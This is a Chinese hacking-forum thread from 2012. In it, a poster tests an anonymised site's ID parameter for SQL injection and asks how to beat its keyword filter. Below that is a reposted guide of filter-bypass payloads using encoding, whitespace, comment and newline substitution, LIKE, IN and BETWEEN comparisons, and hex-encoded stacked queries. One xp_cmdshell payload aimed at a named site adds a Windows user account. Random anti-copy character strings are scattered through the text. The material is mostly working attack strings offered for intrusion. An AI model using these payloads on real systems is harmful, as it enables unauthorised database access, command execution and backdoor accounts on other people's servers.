找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2170|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
$ o1 o* p1 a) Q& o1 k/ u6 _' ]http://www.xxx.cn/Article.asp?ID=117 and 1=1+ W& `! g8 ~& g' O, c- \4 r. ?5 i
直接返回主页; U* b, z# P- S; A
http://www.xxx.cn/Article.asp?ID=117 or 1=1/ M3 S3 ]$ I1 w; [7 t
直接返回主页$ V2 F9 B' S9 K- j; Y7 ^0 p
http://www.xxx.cn/Article.asp?ID=117 or7 _& R9 T! n  N2 ~! X1 ]( J1 o; {# S
没有返回主页 没有过滤or
0 R3 p6 w9 z, ~3 m) T% @+ `. j. Rhttp://www.xxx.cn/Article.asp?ID=117 and+ @7 _! L. a" H# c' n
直接返回主页 看来过滤了and3 @3 @; e9 @; r& j  j( j  O
http://www.xxx.cn/Article.asp?ID=117 or 1
# k6 _* i3 m* x3 k- z6 I+ m没有返回主页 即没有过滤or 也没有过滤1
8 y; k8 l' I8 t6 v5 \http://www.xxx.cn/Article.asp?ID=117 or 1=1
! [2 F, ]' M# W" q+ C& |直接返回主页 很明显过滤了等号 4 e& ]  P8 Q$ i  Z! B( x3 g
or的特性是与and相反的.3 a6 S7 I3 C# l/ P5 S4 r% D
or 1=1 爆错 或与原页面不同% m8 u5 {& r! M7 @- p7 C. x
or 1=2 原页面相同0 o9 C8 H+ L" V6 U' R9 Y* s
这样就是一个注入点/ d3 S  y: _5 U6 a' T6 v: I$ a
但他过滤了=号 我就用><号代替=号吧!6 X' `( I. y# ?! ]1 w
or 1<2 很明显是正确的,所以应该与原页面不同
6 D, [! L4 h  t! C3 ]or 1>2 很明显是错误的,所以应该与原页面相同! t5 e4 c& z2 i: e, X) R  P
然后看看有没有过滤其他的查询语句,比如select.
2 v4 j' q, s/ k1 j1 N5 k/ ihttp://www.xxx.cn/Article.asp?ID=117 select' A9 P; a( v2 E0 |! ]6 c
直接返回主页
4 J& K, T* A( Q# n& O2 |又迷茫了..! S% U0 E/ b2 S
8 e2 e9 r0 d7 M1 d0 j7 _' f

0 X) l% t) N- h- ]cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗) l& D3 G) K5 p2 P, x
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
8 p$ w) j( ?) ^+ o================================================
* B0 m6 G( G. v, i* K! C0 ?: k以下是转贴:
6 _/ Z1 Z! i; h" g9 ~0 y, R  T4 {: G& y0 @& v6 j9 J* L/ `& G
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 1 u: J, B' X0 \+ X
经过我的收集,大部分的防注入程序都过滤了以下关键字:   B' t$ {: D# W) K
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
; f5 \% w* P) G5 V9 U/ j) P! E9 B3 g$ c而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
% N! P: Z& B. t对于关键字的过滤,以下是我收集的以及我个人的一些想法。
- y/ r/ e0 S2 _1 z, f8 z1、运用编码技术绕过 ) x9 r" A0 l, n, [
如URLEncode编码,ASCII编码绕过。例如or 1=1即
# z4 n: S9 {) W+ G; k! _%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
0 X' K5 C* M  ?, \7 {
6 Z! Q: Q8 [$ w2 @( @/ S7 H2、通过空格绕过 * B7 ^3 y" D5 O
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 + S( |; w) A9 H! F9 {
or’ swords’ =‘swords’
4 O+ f) o$ Y) A4 X6 a2 V7 L,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 6 k7 l- g$ |3 T( w2 [
3、运用字符串判断代替 ; b9 S& q. O, K" L
用经典的or 1=1判断绕过,如 5 T0 [; ~/ ^0 h0 k5 J
or ’swords’ =’swords’
3 U2 a% Q& U; s  S% L& \,这个方法就是网上在讨论的。
& S& j% f7 l5 A; w4 }9 ^4、通过类型转换修饰符N绕过 ( D5 b# S) c- I5 m, w
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ; H0 L2 i8 K) d
5、通过+号拆解字符串绕过
: R3 o  M& l0 u1 B1 X" T* @效果值得考证,但毕竟是一种方法。如
$ n& j. }9 U$ c+ ?- uor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) / ^" J8 B: D4 L5 I. y8 O" R, E
+ n; c. h9 N* u) a# V
6、通过LIKE绕过 " ]; z$ a* ?$ X5 Q
以前怎么就没想到呢?如or
2 m1 }  Z6 \9 b3 K* x$ g’swords’ LIKE ’sw’ $ A2 p# v5 n8 {0 L: u# Y! X
!!!显然可以很轻松的绕过 8 R. e3 r' B% O7 e# b( f% s; d- g2 i
“=”“>” : A& X* o; `+ j
的限制……
) N0 U. b0 D) l* v5 ?7、通过IN绕过
* ~& T' Y& |/ ]! p' x) W, }& X与上面的LIKE的思路差不多,如
) l$ ]6 V$ @. t8 e* I0 t5 Mor ’swords’ IN (’swords’)
" d8 S0 Q6 Y+ w8 x% o9 ]- e. _* `; @
8、通过BETWEEN绕过
/ E# s- T6 T! |0 p* S# w
3 [& R+ N0 r6 i3 x5 uor ’swords’ BETWEEN ’rw’ AND ’tw’
  h1 j  J* g7 [1 ~& K* M* ]  g" u0 D
9、通过>或者<绕过 . J8 h/ W" W8 e1 e3 Y& a. [/ b
or ’swords’ > ’sw’ " P2 R( {' S- }& [3 _0 @
or ’swords’ < ’tw’
2 s  @1 ]* Y, u& ror 1<3 & ?8 I% @$ |3 j( T% R% `
…… 4 Q7 ?2 _# k3 L
10、运用注释语句绕过
9 W6 P! b' v' ]0 \* F* N用/**/代替空格,如:
; ]( k4 t% j) h( U) U" B  |! f" S/ [' XUNION /**/ Select /**/user,pwd,from tbluser # h' n* e4 `& S+ \# m
, Y5 S( Z8 z! b7 J/ B
用/**/分割敏感词,如:
; U( Q; T! a) B! j' TU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser " J8 |5 f. Q5 G3 f, C
; N+ P5 _# [0 R2 J
11、用HEX绕过,一般的IDS都无法检测出来
7 W8 j, e" T9 B9 u! `! s; k0x730079007300610064006D0069006E00 =hex(sysadmin) + G, i# ^# \9 E
0x640062005F006F0077006E0065007200 =hex(db_owner) 1 i3 s% j; v. k, s
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: - n* K" H) a0 }0 E' e( b
  declare @a sysname
* [1 s5 L' h$ ?  select @a=
7 _: D( a; h  ?6 N8 a3 G' ]5 C  exec master.dbo.xp_cmdshell @a
1 u7 B, k3 N% I: x效果 - E5 B5 W3 o7 s6 Z4 b) Y  }8 T4 s
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
3 e8 [7 m: `2 ]0 x% k
0 ?( }7 ]3 U; E7 |, I) v( d& z, j* [$ X其中的
8 m; _8 I+ d# p% p9 B4 i0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
7 T# ~( ?. q5 j- @  S( t/ O就是
8 e! B5 m  N+ m0 _9 q% S% L“net user angel pass /add”, X9 E# y7 H+ V

* _; \% s: f, H2 r# o' ?3 w% d6 I# \一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。) @; x7 b) Y, H( M
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。2 d- V4 f+ a" l8 }* o! `/ B- C, F
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似9 e& H5 w! N, o  |* x$ h2 A7 ]
Copy code. T$ ~7 v( g2 B8 B- H8 L% r
select * from table exec xp_cmdshell'xxxxxxxxxx'
" S" H' g# `/ x
3 S7 _& {+ f: p, L7 z' O) ]6 b* Q8 T& K1 I; x) q% D# r+ ?
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'( G& G, o+ F9 T
) ~  H' X$ L  j6 n. s+ B; c1 x3 h" d
3 z1 a) I# h! f$ h, N
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx': M3 H7 K6 n* }

5 m- H# ]# h1 K+ W- k: _& e1 y' s9 c6 Z
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'. K- \+ m! z: `  Q2 O
: N/ i' J2 O; d0 e
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
$ e; t$ @$ l; a
9 D  g# n3 ?8 {' z3 r" ~这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
4 H8 }% R. N' o+ L5 U8 C可能大家早就知道了,不管怎么说,发在这里吧!
' Q7 x+ Y% ]- e9 v0 H
8 D( @& V3 p# B6 ^2 g. u! Q最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
9 Y+ Y# B" N- o' ~9 B+ U# Y
+ o' T3 w" o/ d5 t  e; k  O2 o9 O  a& A" ?6 i) |
" D' r3 H: d7 I4 s' q
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,2 M2 h! R: q% [: N2 L1 W- ^' p
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
4 T8 \3 q9 e3 t- ~" U( A
; g& q+ ]: V6 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表